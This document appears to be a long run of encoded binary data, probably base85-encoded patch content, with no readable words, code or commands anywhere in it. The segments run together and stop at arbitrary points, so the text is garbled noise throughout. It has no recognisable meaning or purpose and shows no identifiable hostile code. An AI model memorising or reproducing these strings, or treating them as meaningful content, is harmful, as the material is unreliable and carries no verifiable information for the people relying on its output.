z?;_$SIT{&CT01+4>`G$ispLBGFXA;KyJHN;AktL0 z?2cIHVM+m^@cx@{6Z5tTjiZ%`ZLbpZv?)l7@XSU}w}t1khbi!+{My1As0hXzeU?7# zJdQ&+SdB;k`dUZSWLi(qBAqT^5N z>gW))>#hifHOj7-eh|tcYU?(a2)xsncuP766gUVMQVC@f^9|QgLO)J2`r2#tA_5K~ zoW+&9j)N~v631DiGvzj%XKp-yO`*8G5WJ=R{N&Y^Xn?SWOd^_8M!8U3nuy-XJ{97} zZB+~)B0oDOc|_BT?Xnr*%AK0(2xE)ZTF z#|Ctb)Op@&6gKlXpVY31B{R)q8u{v@wBPN2tV}CpT&i|3njZhbFWcD}i`8hL&AHAB zqxN`Td_KRsKl39su>A1#m4fOY$dc8;hTffPQ|{CFcQbgnp((DOSSM%D#k>Ew!hcCTSq_x@ZhT^WPKLvZ62MAN}0bY2G zyjx5?8T{);R+zCqad$CG64{k6+XhhN>VOh(-BcQz5ciO6rcXP!O|*dj+JUZ9|Hnzm zR;j}57g~X*!xfGQ*WIh`f}!iwH+s|eL5c`MY*AO(8F!4AF}RiDR_E=K`GJCoRCheb z`*bAo2&E*F~+*>9UI7sLlyb9jpGyy-kPY-_8PQSu=Bi+Sb??ERa zjY_lX?IIwMvG)-965Rwu2-Ie-vTwD)W1AQuJKcpc8Kj3V9+OcM9wZ|wK9C+BCnMbA zPwSSZXrFl?T26dB*g>nUbscq6PptkVW+CXX#A)fqp%NeUgGD^v7cF~N^4^AkUB`~d zDnuLhPpUnILZJ^T|9W94?p#_(iOUP~Ei2i;j{sL}due&))mX8Tm7ggc30B(vtSSAZ z?A($^LNJ@E)QF03yJmguG|ApQ$%?k=mg2AO1M#PN3yiAn2`U7N_kJ?#s~c?+9he#E zvpfhH9q=P!l62s-J&9q+waSHH10n?(y(x*cNrx_j2Ch3xh(w`@-cJrTwI*7$TXzo* zKg$>GrbRMXt*}_J6coX7VdH1|TWbnuTm>XA%=;!qpQ-AUEM`NlY`!L-?6#VJL>2F8 znt&Z+aWmeeZUO$?@%fC^s7Ca93uA3jSB{y&v^VHKBR>%5ynC0B2;Qr&Fy=YPTyu5Ty*$#Zv6Wf%(Ug{GUx{olMJDDl-I-~%iu0o|K; zfz;k?1A`;K+^dIVn3^dl_&l$j?eMKx;ixMC$NGj_*@Ll8cKTaWY|mKYd(~q)9XpF# zmMbCk%-@?az=VY7=sgk8Xb_@% zYu(wh40pJLj!qB!;}s!>Mgcqpf-%YP0U4UoX8`@iFg}{Lp}kDY2=gyy;xHxWp2YF}M(RAuE8C}! z{m^_GK5DIo%T%tJs&CZX5X~yrvc~WU&rEro>DH`bwB?mP)uz}v{!)iP;nq?1I1tsvzPO|o? zuc%c+FvM8OPaaoK#8Hy z)*s@q9c(Xta*IK3<7bTZuCfw(qZq6sY4YN{Fc!WUxVqtBD-U%1r(uf8nQ$CK2j{4^}q@N*p zJ3=v09IDTEsp`Ri7VF+KCVG+XACZTY1?YD)lh9J1C(BR(SKkEzcqh*zRUb`q<>HRNNs zBLCqJe@T3N8hZx)0T+GtSqfY2oBN+T?#gK|lL7XQvMWVJJR7loE=b!vhz38sIcPQc zfnEV1G5?qIS*7YL7dk0eeq-)^j^cED?oe`rx!#k{_$UdhJ(CHK>F8QZ&;2&vc`_r& zDtLwUwQKeb(Iy>BL!d>)O>cATcrg>b>kf=90PV+AdJ?rB@Q*$ZjsMm2W^!MKs=8*N z9xr&5P$~l>?t0JAdr+1_s~+-!lr`62%L77T&y&6PT|-!5t6S;(K#N8>Cvl^8hddka zf_a+UD5U%CYZh3g81&a$X>7pgQ_%BY3L64BI*X$gBMz{9*s{MDfsei{C!-p9q5d0* z95r_2CfN_$6?j1>x5R{lW2mU(@%|*+#EIU(OoH!iJHq~>`S040Xl>7f66DB?r_vpJ z513&_a=FXTd~>fi<2A0Ht8XTkap*8&#%a&;qXs;qO3&PA|LiP5C;GqqV__lCM&C)7mUb^We($FE^ z($fk zmbCgFiN6rasH;?8JyYU#9avwVPhc(dNZ{a909~+4@rqTt*K@>p?mGQHPW4~@W1I29 zE(TCv+QrnqD$j*dD?)|ntMP$Gv6IV;yi7bqa%h7)G)cTRwZ{&n=Is`x&d{JjYW7Md z33)k_N&9BHf)QG;p}R#9pPg10@(I+pN7ZdC$-<@|II8rH;|QrrdAvjrIxexm#yefeNr5N_3JJ;A0{IERqKvURqByR?JT-q zYHiDRnGZR^09SNY0C0A8z9+g_?v{EoyXLWWZGdm}#-10_5LtVFKJj2{fvvayDy;dT zdY#_pTjr1a@$|EXG_iqZvn`R!Rcwy~I*)=o)UR``QHBdo7;7?jK53mvigGr*O{l@% zwuc+m+n_gaZ&25BXP`i5LRHhHW2n&jU~>-sF0uPp`2b&Ie-$3{tx*r{{Pc2X#1}@s zy|j>F_9LQXEYOtv@#X7qnY6eCTqZ3{Y7stZ6aldDEbfa69MECu+)(on?Z}gEhRQIY# zDu>ZZ+$BQlBOa#HC(fR_lUK`MVM;E7FQ0+=hWboXIKc=aT)DjME|vVL(^Xf{R!d*g z=t`o>Sj_NJ2SZ=y;w$S+ZJq}Mdi5SjSxGm=TwZR;^9Z_cFFsXS+%9KrDk|ybVGLxW z+G;`wW`ph*$0&N}JQJFnut(27C9$lFOYWW7mQww)3?@P1)CFkw|)Y3(7xsldIEv#cz*W-wladTK+Ol z7yCI*i~nb!D=8kyz@qe?^C&NI&z>%p+j4uDQ8f>LRQY_PlLH_0=vQ*`juZ+fbl)8t zUE4dIJ|osKo^rF&p{}$mQ&Ro`fBX;nR!4B!#_d~CGIA*bv|k|buicKFirBwuyPb)c zvCB?Ji(Z)-Y`J^n52Y2w8j4PY=;Yrp!Y;Zmx(Xk29t@nP(=*K|O~pfHSX!N#)d_P} zU6Jh0z}A2Z((2Bzg~P%|yF(hQVUGUB6}#jxEg$HnE$XNmAFzjtb>eynR&OtilL}q) zB>YDd_E%hnaSy--C;$d~91JO9Sq>^dZZeM7JUhEUQma2K6Hi8*B-_2xqi?*Xdq=)~ zt=KB^*~Tz5|C;KrExuasRD{MpFNQB_t8XoLxVXO|gp^_CR%8_@5OdRQ!{^Ca-%ALh zc!#Gj4n@+eOk*RS#U57kWzRMHq|n9k2p00tsUIz6dA4?QNmZe0)zO-l3oUux@n>2w zS^8s3f9ysbR8CDcV&TgG8|9{TN|UOibm0#W@Y?ltbK2X^1dC%$O#!yG3mx&K$!qhx zC&oZ(nOjmTk3C(~l>_!`%wevr0W+*2R!x>%A#Blu?-4GuOIvA8EF?8tmFpj$a?N$H zYO*A`Wz;MLE*Pmn9~TH(n75dAA`|b7vkD@qm%qc4+8Zc=w2B56JU`nvcbFGTzOG=P z8uMN8jAB!p1q$`Gh^m(wASu>+VY;=a<{;bvS2E$G)tzQ5fC=m*6{8X1b&(Lo68P>( z)lT29)m|EVpzC9!jczUgsOfFfrsi@vJF`3-xPtl~vwDkDERYt;d*c00Cv4R6U-47m ziYEGnn`mIYbQ75Y1W@|JxL81t2ripI9}ysBSlH#q{-B&`yZwvJ6H?8CH&-Nb9-;^L zS|@6~#{CzsOV4rnw%5+zmK#VLQ_tQKAt(1NCf8)adYwIj>zVPwwy8sxFG>4e1JC64 zK}`P?*j>t<>=2%VF%f$M%?e*WO8H~;L*H>tG2e6ekN!K>YuSECFU3D2xeK4?LwNa_ zxEG(fZ$nqAfsL-S+Ton{CdTCWO~Dv(+Jom%kB0ZBqm8oT!`F!OD;aQ^Gne0YTT>Gx z#4cI~Hx6>-mrWUq{~^)1IN}j;!0+VS4;zfI!C-;}bzAEU81oPZ0VL=3$vQu&k;gkT zjQ}(h2-!OaC!g1DygXccMHYh7jZPy$;dP5u11RZm4@XXrmRilEl6k>ivDwj1(`UN_ z1CV~OBy@LrV~5kQT1Pnr!f|K+n=9=dwjZX$Mc$9Y!osd@5KD%?)%>Wwu=7J!8#`|6 zwJh%gj!NrCy7`in8tHL-`Oza4+dmHqZ?Wqx1-9FwUfq2CSn7@KOq23?)F_`Lr)9Wy z262qYj=btF7hWhd;jZEAys9x#i}G?_@A+_*3b*p=pN=y((dF55y*PW^M5B+)OK~xz z%sXSVzFgLouGTJtiGK(?3ml1T*3EDnTQmqWLR zY5x(4vD|wO{q8zI?Eu-v@Aoc2uP=V4Imqa3bh-9bo(f5e!mk9tFWRuxx7tQpp#^$2 zH1n3^oSNsAqpylZs{0OXjfr)@`n3~&Y=DyPP(13z*pYR?^06}FaJbvc0^SV*8@Da_ z;%BW6Hw+x_;QVP}YOu?Nm0n&dSc0zi9tF0~DRZ*72m3w^#8ZdkiPPI+v=hROGRr&W zDEQvQjjWva_y9jQxw}5|m75u}gX5=h)=((l=1VmCGhwbED(~${!gE&44VU!1RpRqH z^)&-F3fNt~;_o1I@od`8+UgN#L*er;4uoQ5^EI;`WB4d_s}P-+2dL=o!n?ai0eb&{ z4&XeI0P`E!lp$ZVZ?(6h4%TMy$OEA5Wv6W>8Zs<@JdACA7v~-Quk&u=eHW>s`4KHO z*Y}##Lev%SjA%F4F=uT$;!hP7x}6C^LcH%4ZuoC!!6toCna1B=-d2#{tkAq0&a}Y` zOzD>?x0Omy(@~;%l|o~!Yw}P#)EGQhI*?+02HLi6|IJ&82km7BHxqigy0=)jb#n4=M>q z^VyT^JzUs6b2#%yOa00Kdpf$&DtD`(nJ3=oDe$7(I4?m7Td@9z=pQmzP1?(E$Z_!v zHODPLJn$v>HX#cWh9py}s>Z5_V`t*%-m~7NCd)Eg?Ouc`o~VH>%Z^S@df~zNT=IPU zv8A|PnEdo@J;nYVe#_VNbLRI z;g8s5bTf!fO=p5neV?aTux`RmN~M?67g98;1SLLr5&+-Nc5AG+L0R)#-;sT(A6PJV zs&|@@%cT=F9}PY2f(~s5*C77l@MALp<0e_Z6j!?miW18se5yk`fumR5I7S*1f@jTN zAG~U-oV_vj)$6gd_(pGoPdskeT*1Unenfkue@!-Wm}7a;yJj&rI$3fm4O?KlA^Q6Q zA)Tkp$>|(zsp-kr+iR-taKKYs$t{R@3Z#;rsyEE??=d;i!d8R(0jY<+y5N|W^E9-- zzh7pp9r9w*=P#Qu4_8P&6r7Rf^Q)AL`9v7PHYOoq-QJtf9}OL}sOwwMO^{w*p54N9?zT@%6?91 z@K+C?Ju(Kl!vm=4Qhpb;geRHnZXL5XS9o%%=ejz(=tj;SsI)rH1(_cLms|itV<0%x zv3)dT!!=N6lQQ>G^ixti zx5#G(%`}Ar8r03CUiQdoRWU9VP&Uh=bXSdM!hYZ%bjLBeahQ2nay4 zt?U%#&pc%*Gv&3Krze)nE+;>o<&QcisgT zrb$lM_r0W{Haej%Xw~r?Gl34tV|)wuJ~nkeN4W^dHgEB&{Dz5?0T5f@RH|Gq!OgHT zkq(LmFU7~qFvbv64xJHcK3y!@)Ao0r=d2cDkgh6__x9%K7cl}L-)lWiSvz;#)dA(T z+7kIq%Ji@y@4$fvh=@1a4J>}W(K%y+5r%>!mFR;-fEN8&m(F6!?j|48F$=#aY#(-1 zO!Wd8wolrlu+9I5PydNT)kZJ;Y!UiJz@Azr)YQty^@zZG?-W1}`8n1tk#o9`C)77V z<56ubJabYfe=1pX;zGYNiVvvAAxO{0zK&;&3p)sBZtdUt-p7haA-2FA(iJ`c)i^VI z#7gPkX;2>KdaYAGe&pFCE19PvoPMk2?mB8hZ@_X|&W-L-i^(^-F7^l}48WWxZuhGs zEfuAq#Anr;?iFHB>u08vaG5cH9pjN-SW|9G2eEr+qAMB(CreX01}|S#e~QwGK1xjO zmqB4jj4gwani>$jbau|riR>M&jCeSGe=N9ia(ff6`zu)9MrZa0hl%ENB|ANKt3No` zAG(^5XqS+j&I8UT;md{gOx9Wd+PC-Re)k2e)`*duEixhpuvAzrs#M^;xbmVfB|5>! zi_TT^$&FMbgG&$i;_(+TdEm=eb*a)mTbSO$G9-xsxiJVsNq0@+<}EH^NupkP{*TcM zWo|!^sU2wIU(V6AS22h3-qhXYZVUVUf$AcJ4JM;ymVSjjh!}h0Cv)N9JI0K49G=Y8g@S$<=%uYS@KQS_twKtie`vW3cfO3Pu!7N&u`{LxHD& z8;Bd{-KYG6m-g`qy9ka<&Z|veE^O`E%T##i*Pc(%U`Ns~bc}ojnLb)!BM&kulmGnA zxo7Vyd)k~(lJ$bS(zHZUx#U89I2NgKJBVqVPVk4))vU4Ag-25W`;{2lMvG#+DslN_ z5ieiW=nZ5ohzf2mjez5jG)yxRQ8dq!AF;}456WxU^)jt}o|IvjpOufscodFQV3Jqe6K&nKSBiv5rnO?5ZYCJm=z!f`5{8 zO)Er!_)%978?Dn1eaSi1or#T7G4#SAC-{BZtv38^cCvf{*_r5gv7)AzwzN@Z+#f_| zDP}9@4wu~h=I7h%=k+OpMbWTy#aQe?pohlA26+Ylk!L}bV&?2Z<}D4$ZJ6F~g2C*2 zA#<{gEa?LNHHEP9od^q5)Cm(~^Eo-_+5YrN&_UDA?Qm4|nmj0*(NZCl_aPUW+{CeG zeQ=Gprrj1P-0iB6ymfbvBxOQxGZ>=}?T>+b#bw}La~Zf-Bs>{NZjU|^oHBUT&y4Y{ zfs&3j?KFkP$^5&jcj~p%!O$kVR(GYPqnUiPV8yfN*8EwZCI|82>}iu0;q8awd&L~S z9~jnPf)5%DJR-_50&!;LRUujJ2qn0R*87H=kX9vz$1@(({$dNdubn9Y&%3usDwcxHi0nqWQ-UC7 zK|GG7C;-o5gVqTmfe|`Ak(~nT5iXC2{8vPe=C)ue3%udL%fsO@e6FcRtBV4 zddyZEGU&BSKK?yeGsZH;pQ;F%;upAb$dhwi`6-ZD-N{}+tC~_Q750ohqr)|Q-163# z8K@7oWxupChwBwROut6uQ@(x1%nW|{&F$LOG@|B{Z9ihaf}7k1&h#k@8zcFA!O-@d znx%Y85@T&Lm4d^>H(ChQX&2!`V-AB>96_xIhHh*>S|vO^z35(a?D z-da_Q1b(RDRa6<0G1J?Ao+vrC1Qny+mBTNwq)pS){~*0%d7AIb9gII7bI9c}54%jf zxf8CB2}o{Bu(%7HHrFp9CR|q6G~TJ?(rJ_03}^z)8M`f8g3#=WSZ-jccO z2{Ry7GP%IZQ+cY-OV4J|roKd+hfS3RJad_~lyvWj%?MtAQ+g7P5^ch6>c2u~zyIP) zN9|Uj-DPZ1cXKJ`uF)$FdsnC>4^X~#Ki2gna!;kIHu{;qE~Y1@e70g!pm-~r>b}BM zDAr^5$M3$FDz@!)a@`w3kcxnM3O94jPWx(At`)0 z@}p5AWnoD~TO?LQinp{gNqnk(qXkhWFPwqAn^yjPx^nf}PPfq+>{CU+^77i!BR1`P z_9gj8u)`6jk--H{WSU88?He!{NUmasazbr}2GUUbi?9jjxx1Dm0k$lMw%9;yofI8{ zZRRCv2)>ps)X9SnD5MJjFD!0~q}0xT%7uffwT@jb%C@IgK2{v#|?dRdZ*yaY)xiqV*fL)q#8DcA9@)n|i-+{(jO7VARzARkrO z(taSqtE1?Z552QZ=?MTQEFaXufx*pM8I8AF$|0R^M+11W7e3-~U3~=-gvD1vmAPYf zA}Ff7PO$q6^FD=BAW6!Lf+Mq@Qqo4v&~NywW^XMyuStd!od;3DWcf$qGs0DetBlx{ z4OA%$S#WKU2~mB=W_;ZSV@KThyYCaY@c8bw3^|YCs7$ZKuxe<*PqMP@9vIA)+(~Mx z0Vyj_RHrS%qM4X)jJEEB6?jzQeoTAOyyr5@xcumPUhFdGTQr{|<+G!d@H5Nu@B=d- zn9s033eBge*#_obJXnM*;73^z0FZ}Vqf*8Bu#|8;0pV_QT z=Zj0y$bP8NHq_-tft1XxKc@U>EEg$1{bkCJHj#jxivcr4d$E{qS9;1a(aui}(mJeq z&opE~0`6ut`ebbQ*^ry9G_w>XtwmkG?B{i|o^mlko^aK+Xu#w9j*!mTGZe|*^cq)} zPs7n8*k-Ic$He$Zc3MRH41#o783k1bamz^3m9m#n4jJyA0cvy@Kxc@TgwKj4YXQg$ z&>1rRgxP#G{_g$*NnGX4>&{WpZTyyw^BuT+82b%1u2Rpi=K3ih&T+5tAtuR+{LN$l zDuSz@41geYuI84b(<^j1clvf$vYN*$2!ZP6WB@;oAV_#x;#i{DtnNA5RXp3iedSCZ z?W6b~;=w+m3)Ch+>;kpv>*35Ka9*A``y@KI&F7cWM!F|TO#V|j{>spU^#SUF9PhL7 zq7LpIC}4JYMj(0OE4pvQ<^CnI51=pRO(R}crqw_zFk~dSvgsWrE%A-CR|>mcMGz$ z$P2XeE+^J~Yv>YSVISyqJojP-{ML4MoWVzq(u`Q?2i~itjMf{@p>I2|dwP0OgI%AX zP4owen>@6*^CHP7kF5bSEEbZHgI@$b%Q)@%$Ze>jaD8dz>CzcW+(^K8jhXS}l0{SIHY zhql_Ai>r>u(wExrPJOA0?FqrroX*FDU*wX7aVkfHI0m1nR}LAZbzEi z9p{-$#W#06$rBB-!B-I_d%C^DAOl6|aQ*gjfCg0`vf$?3xa;HcVkkbSqvYtv(?bK4 zx|2j57_~J*9F`aDmlN?M$z!(Q4+~;OOAJPdMng!*)(;pZg_1OXwVD7=Z^ez2g;aau zcp9Q(gqWY(RHEgqPO-0EmMg9IA#=)B!Al~n(?x1^6F+pO)x9+0%d2LTKTPt4a~3|_ zEQ`NBo8{4)D0i>*F%D0~QF4{P=5a${0Q?}*bfM&oee-kX_>aQ8rth&0p0jtk_=FZ6V;>N?j1{gG zyULH3kb{gf#w)Y#Wd{DlESt+p=CHvf`%&Z_c^8a)Mk_kFVW8EngGPd&D$>#sEU zfCHiPj$TuE>*u#SN$Rg)w|DcM=SZplC63U$^hz6-;j$j}2O5s_!LO4=P>je#mG$S~ z_-m{WCxphthhAV3Y~9mC>X#D#z*e_8W!y_oqPT4A{b92D@!8n$S%Jpu*g>HBbB=V< zV__{-y2HIUes%P%K^liFtt#Ir2{LaEvU>5V#;NSLv!mNHqi6d=P9j;qErcI;2y%fy zx1wDox)0`SsHCf{n^BcKMLI;@x8t^x8hm@Wvh+J8^JWY$*)}meE%<)-;{C*A>~SFj zxcXG9C9MHAz}k`U^KS3nIVSRLR*DWhGs*5>(kq^i$Vs2epl`ArbZFVJQ7F#uKKUr4-B`=q8yCKM%P7^E(c!Z!drd z7}U^8oEvE1G`;@!+w%MJTozo4=>Nh?_T*W0dRdRw7Lv8jwg#w|pTChX6iD1Sl{#iI zPEi7fPOb7r18-MX#}V!x$%J*+M2rKdp6pACwyOSywpg5Mv3*9<>*YcGnXkww$Z+|w zMAFw+CD69VQrH1jXGb%2ZcEY(rypXgFqpSRyjr-m2DudosJ)`>X_$L4H{51grY2$2 zqALy2{T?d$+Re0*a?WRmy8Rmss*1D$5bxOqm05Ejf`J;B4LSH+ttPN{a+{LRC0Eqr zr|yS!8FUJ`O?}1nA$jicLQ_kf!PGkc{_>5P^NNp0QuUw=W5R}%%B$srzp4Z zDHnOZQTc`%D`sJL0aGLhdVIGy$fne+pur1+kBvB=Qw5zoYiW<7Yla=Dj_gvL(zyw(g?A&e^8taEEcT zMGQ|TX=rnU@y-mien-)qaN8*-zl*cibgDaQ&0ss#lSQoxBpuF!}PRzcvjjRvE`yL&w zsh!xv)TkGIXU*}gZ&r7u)SdRYk&XCfVGOBX)jc8OAEaMm=GtQWl#4EUkj!i6>KIGR zA=_5yRr4!V=8A|Go{*MB7i3sQHN0H;6kaFwYRElhlL%vGzQNV7*bI1@VUL7x3Mx5% zN_b&L*;_ft_qt`1{oQ7*#$61cbZHr9FXS~E*on*clBdA(RpH^GMxIA1O5U>0nq#U^`m%BgniqED}t zB6_zNn-kMt;?ofmf6dB2gB;`RjC|1UI~^Nk7{rfTY=;7iN4X3lJ74pswjq9A`poDi z_Yo(oc<7dxsf9EmLphbnV;|2Ek*-M*(@mK5gQ{HZ=c&b{Qy+Raz00b_0LKtyx(yfM&1MO}9A(QSsE ztmt)^BqC~|RL1_^FayZ3r%ZgYK*5%d=5r|jFh$jCS))#L3MnA`aH*sMIswAkbM3J> zP)Cs0G<7O#5oJ4?Y;PE7JR^^^>`D}w3i04vFa=VJM2);4b`z-!oFJ(R@)CQ*-`&Hb z{~QY*$TeL3B{>`CIgry$n_4_)*)|MF!P8)g0v=`7nFXjV!&#j#VUk=Ll+DtHTkp5` zh*Az@DE|>YfeyiU`SwKwwFs6J&#QIIW82)kL{HH-F{_m9Z4~&7*!uQo&3;A~m)0ZR zHG_S(bHmL;Y+=9vG`&;D)7#tv!^mIDGY_2o_9t{c?=m_Vy^Id>^k|!~&{0IGq){18 zo%SpOId5+zwbaZ&T`>{2Z*giO*%8z?Oc-wpiDRLI{5hmEedfXhbLY%CPvRBw;p*}MqAy)}T9YyJ zIA0Ykv?M&Q$#OSZ)dH2-G{Iuu+=%%$-XB->`f^n?m#cd1!s>*DDV3Urc?Yll=WWHl z!yRgR_Lvx_IjuKCnbjiF;m}xcHLG0`57(I2wYSek(MbN3s8C!cD&m)k%8*L%l;7_K z{&Cg+{YNRX%bpyHi+*D%vK2cD^gn#We}Cn#x9$7?KlHDy_~+(a{>%SM+v|hlYuIIU2X_MACw?3* z^U6H576d%^{qXue=8$7uH<;Pxi0yUK)Dr0I?6e*S#r@)}b)ViGW$QZUOd2NT5KayW*t9j#KkRneWpAD@h+aoj7}282mv+qH-GIBpCYa(GRQ zxF?*)s6k-%_}hMwKf2yzKpU@b4eLxmCq%t{um6UE|9{_7DcnoaWA$ZD5Kwh38~gXh zWjs7tN5O&bdyf*l zzx$8U2N#6KjZ3Vqw1mJU_rk}(h$HGhFU3eExgBrjeaVal8?E2x3Vh(>>cTJ}#0L(# zeXe6bIV7sq>N*Dg;sO+WM(J^$4QH)TExkDai%x#`#0%$f1wf9=&|J$YezG9gK!-acA^fG6)$o#6lfxMdo zg+f9?IXtFaYUk9E9klatr%7Lz_+M#n8k(m-vEO++!XhGl)(nh1$EG1C5hjtxn?Ds7 zSdzI&xGljv2h>E+`2LarFPY_0eieeHoO23H4w9UsU?$_gU}$(QvlKuc{t{G5mgF`hJNI=>5hzJyATi!Hj}Y$w6CcTZJH zB?o9dHYK1o>$P=I-(@J+;v-NjqZ)1^a;o5Ik4#5CdKM#HoY?UIP$%gk60vk zvg!pmKQSO}z^UnV$)B3v?nU&PQxbyn;y;Z#t;X22^ z2Tl<;E_`wW$%RjzEp1Gty?D}37$%_r{jFdu!-S#x_4Vg16W1-2Y2+i0m-CF47?TT! zl)S%v1%p%_gwKPnQ9V6>lr6$|iyPQ~9e6lNLLNN4f@c}Xe5E(lsZhLNNb#uXg-D!vSj@HZmZ6J%}VB9n%y<}+jb7{bg! zYDnGsej6EYDA-tLZ$UG{7)zcklt=m`1>_@+e?C=Tnd^Jbx=AbU#_j34xCPZK=(hlR z3Vu>%3Z%%|%vu3*q|_a6ly2WJ;_WV9_<^EC4&>t%{J1mcu6zXf=RQ8Y1P9B(Zay%y z1#JG}Lq{a~6rf36g*lm2rO(aFnO1(gSAQ)jV&Po3Kphk^xq8~mG~X&#pu5c*_VB84 z+0kctDQaFfx%K@RN5o4%M-t+gV*D50OPVgv?`fuXUqTLk?zZ)Q*9Ddu&cINtegS!P z7%$^oi{LJ2pzyu>s-|%1U^NH&nTFGoBSyD#WrmK2-&i6I(AhgB5O;)d-PtusaY$|- zG)Ox8=yb%{8{T<5GM_vjgJnm;lQLXpunIyJiG;99;V!ud&$ri8 znRB|GEdHR+&rlW<;_q>CvSGWD)t)={78_{Ge9=+ZoHe3K())P+~-=>WLMP4%??8NCHdr? z`=Tr%%shA9I4hPX*s2!jB=Of}evsUFm7zuhw1w$n0<08W>-)7o@>VozsaXcDqs`rz=$XJ8RTu+jOb znk$}96gA-`*5xb%6%II=w%F}DcF&PA?50`LLoYm?(0Ey zbSnmka3HX8j?J&lQXhWHJ{oc;0BkB?49eTl;)R%j9j018*A+cnOFg?R$|Edr zdUuG}HG2Wu`N%3%g;<;iH6D4GT%VO~&Dfn>E`v&b{`jH8_bjvgN^?})g{i0V{ytEe zD7KUpL4(eFCfUfgH~dP|0q}gj{KV^31`Id*O{?q}3x;}BlSTtvo=l)1Qxb*RBxzF$ z-RrffsA9;`C;d=nj1YbjH9ckwDO!&TGpiA4bIIw~oQLn%$C`ULT_vNEu zr?&Rx$0ZbquQQB5bbx#LDh5L`3Z+>x>9fF_DXxH28z|@`;}W{U z8-n858TmR6)~zIph}JKWe$vk^F@&W$+=yrA{CUXGF#LIi+&~OsNbMxWJ?0_NS9*^4{koAy^KmW*^&95d`(E>dw<{Ay%#EC6~5_en`8D8Cea z=Sgbth2x-!dTeUHMf)>dqQ<+X5YSyw2)YbhpWVB*4GC)Co&d>BAmrUqxr^@!Hcf0h zLJIx+IPm*PV@UAFe5Eaueb5Lfcofh)Xm3=yRSh)AhMfV~w4KA`uxFy$0L9Jz*L;fM zZM7%1Mpj+sA=!F8t)BuiH)F$^AK-!ztbrZaXF@U6wvA*U3p+puKq|sH4gG~GUr4nq zMO&BApuTU}{b^7*RC{}ZyPB%;EMv-hbrx}NqY@Ti9UR?@j2l_JarD}U&Q4oiMPvSx z%GLKw?e~)N>t}HPt%EUm4R$xLXI~~*F|I`vhPk`|_BvuXxquE^CMx_}_OUFg)!^af za4bD4&8PlHQcCxf;*ORS^ISJ-5Ip+4A{%$_LuAQ>TcZ}U$_JFo&o~^CagLm4vSrD$ zzSI6lqaK>j0bp(L^xo1scT9$nn|O7#ts(VXU41TIG@0Sf%*t>hL`xe=yhui&297`Y zL@mtXv^`}il*|q`-8f*weUbJ3&S3Du1X$B961aQ1?X$Kg<=+J!3){^rXDI>ON=x524dp0t_h9m2xM-k zn_;JF8HzPeF<7ph|A?SpVm#<;|WX zw*mJ5YBUTekh#u185k-=3Ow{=F-5E3%-Q$suVc=hK_NctPtZV_!P+AianM~L{LDLi zn9AppN#~Ju4z?kqazh8}6sdK*b>*{u7V#Y)z)r8Tlid@LIFKQP6yJ0rhVxk#(maK~ zYq69A7e>S=Y?n2gn$nrHSP{$64H7jde2oSQDWn`lzRN&qfFJbw(Z61wr^uB%61#Rs zC)Tu#f7Ov?0oVPj_Obe?4Io2fM64|b1!YKIf(>NNKwSqnLDP(!;fk>m1u=+E&+#a@ zEyl?YZQwUY_|jRV^L8%`lYE(qKyS8r#VxSnAaeyA+@5R0ZYiY^BcNZr9FjEJ;Km~) z;y;=uVs4#x&T#HGXZJ(-m8{0%hXfaK^R~e2t43{h@)NDGr3DHmusqxKJMh2HK`B&T zhn=MBYF4Eyu>j^(ZrOo!rEaK6zMq56mC)a^Ck<3)ZXCC#-Rf1Ums0moLi3~yVke55UWl*I{p7wFVuTyj#|K5AT@ zw2@+=W8l;OCNhTUQ(6w}g>gKGkzBZ4I4>XO1gLp~iEXGIS#Qe1ifZX%c&KSyRDZl* zj|(a+tjYxxL#c)4%P{Cemgtw5osj{TAlnOogT~z9P32=nQ&Ly^U5d@ zrHC}#D*$Rn2c#O|`l)hlNBAs|@wNYq^zWVki!i?2zAvz-p^}%6_MXKQ<6NlCaRHN46fG3v1YL>~QEEZnt}M?Z~_%aUbL)4|?C z8CfVlo|YWwg$#UtZZ-R9?Ri!O*lcDlOOt8%AUMQ}2XsRI$Uh*M1|nh)=@iQ3Fym5L zER9{U1WB1KK2n)d-A5ik`=Ul@bJxngKQ0v=5rtWfB`N4-1+4=6pXX3?=K9SlUjqu* zYj5~fK5piP%B;>)liFXI98(9(@9T*3(De; zuD3Xnwi$guudIbEK~!3dC!IbDtj3n6!|WM?R=!`}V9SBT*663h%d1=xOv*Cc$KHu;ENB!@R;Tl5xmQUaS9j@?wth{pwben%O;mW zOaFr~pEovkEYy8_LW*U3rb45^{qXIZe$(vK*Z$**&*CrcxDEPy4XbsBzpW*#HBmwn~L*7(gAYvQ^-$k;YgW_kHo!cAh>`-DI0-_|N&}e}@2M8?b*=;J-%4@6=U&ThULgrkBHguDpl8q}_$9@- z4yjOexX5~^ewK?nN;sWGyoPsxY$Gu`h@@^V!(Ck5Hn`Kpn>mCoQT=%c>;wvD zu0$F5%`l|`Kpmyg%Ekg_pPry^1@wvZEOwcep2Q5_sSq&-)~MOce|&!IS*viK&QFtK zA1Gv6-*LNHiMo)qYeX?&JqyMwKL4RyuDYo6*Gg{-sF_pPdRs_kR)H!(@NGjBNHYGu z=0VSa^f<*y9^QSbp!Zv06|P$%Y6b>rIG{l>{3F4P3zB${n0OQ^l!BqxX)Fk4Yg1N7j&tUzSIOi zNDbP$T=GDhOTLJ5ec*m!0ylkg&c1YW_J+u%%)M7h8^2mx;y%zGHth(J2zQ9!tJitaD{o2>uPXrl+_ z2Z76v@LvN|C%fm;-{7H%mVF8u{7;cbVGccpO^ZBB<+vdd1=I6ps=a+v9+tu~b|Zj3 za8-#wI2|w367;`R992>;gjr{if5iART7j^l(SCbmPZSUts7H_eIn|Xn2L5m6?^(Zb zs#@omJ31K{51JPSs37>QFzRqBl%Bz#BjZK|;iJ3vbn57;-M_&m!p>cM6EG7*dE0%> zS?rhkBOl11P9Yqgwu$z$PW&V5&bfV^SQ#P(k{GkL0LI)%X`de9|J>PeEUc9stUeXj*LzdIhjMeUvX9TBP5? z2jE)(a~4p|@MTO0c()|1DOb8TcZ*GdpkF{{1eoUH%x&0T&(F)QlSKSFo9*nr?7>wz zr2HcdHjBABLLaEE$59-?ZO#8I4gAd!{*V2Lrs-ejSMRSIjruSi`#*pAe}4GS-|+wc z(f{3(`Oo+NUw^#R1YSSozNi>LyafO_1ehnCvetXjKaAl&fBkRoEAqN@@cp`UFj$Db z^eoL0`*))&$=Pm1noi>5oxj8jww||i{l|RL0{{2_- zBCd>Z{;w{VP2B<2&_BfsF7Q4Z_Ti@yTvk<89+Nrol7hO%N`R@-ma+RMKhTH{I=BDo z9U>Y534)q-dZ-4jT_Q#F-Pd2=@987;nWk1sKWa&gFky8$7iB;?_=cSimUEG+t}tpg 